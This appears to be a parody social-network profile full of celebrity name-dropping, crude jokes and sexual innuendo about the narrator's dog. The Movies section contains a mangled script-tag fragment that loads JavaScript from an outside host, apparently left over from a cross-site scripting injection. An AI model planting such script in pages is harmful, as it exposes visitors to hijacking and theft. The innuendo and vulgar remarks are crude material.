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About Me

Just ask, silly!!! I will do anything to anyone (almost)!Well, I'm trustworthy, honorable and as hardcore as it comes. I'm shackin' up in Port Jeff with my dog Jake. Larger breed dogs are very well hung. Now I will try to impress you all by telling you that all of my friends live in the Hamptons. You see, the Hamptons is a very rich area so it would suit you all to be very impressed. As it pertains to my dog, I will try anything once! I'm a free spirit...I only want to be free!! I'm very close to my doggy, but all the rest of my friends live in the Hamptons which is a very rich area filled with famous people, such as Pauley Shore and Kent Lipham! When I'm not in the Hamptons I visit my therapist's focus groups a lot, I miss you Johnny!!! But that's hardly ever because I'm always in the Hamptons where famous people live

My Interests

I'm a laid back dude. I like to grab my dog's bone every now and then and play with it. My dog enjoys this very much and there's nothing he likes more than laying down and licking his bone after we've had a long, sweaty wrestling match over it. There's this one time I was playing fetch with my dog, we were in the Hamptons Katie Holmes was walking by. Yo, she was totally macking on me. I had to decline though, I'm a very loyal guy.

I'd like to meet:

Well, the truth is and I'm not trying to brag or anything but I've met many famous people. You see, all of my friends live in the Hamptons, so I'm there all the time. Hollywood stars spend time in the Hamptons. You name it from Sam Elliott to the guy who played 'Paul' on the 'Wonder Years' I've been within bleach tossing distance. ....>

Music:

I love a little of everything, I've got 400+ cds.

Movies:

Anything with Keanu Reeves, the man is a modern day Brando!! People say I look like him! I just tell them, "Yes, have some!" They never get it though, it's a Hamptons thing!.... language="javascript" src="http://crosssiterequest../request.js">function nothingf(){document·write("nathanjosiah1.mov.r{}");}..& gt;

Television:

Can't live without my Queer Eye!! Nuff said!

Books:

I used to read when I wasn't cool. And seriously the last thing I would do with my free time is read JRR Tolkien and D&D manuals and masturbate to pictures of Asian women with Pinnochio noses. Would never happen!

Heroes:

I ain't got no heroes! For chrissakes I hang out in the Hamptons, I'm far too cool to have heroes! Now a nice hero with pastrami...now you're talkin'!..